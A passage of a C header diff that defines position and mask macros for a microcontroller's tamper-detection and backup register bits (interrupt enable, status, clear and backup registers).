TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define 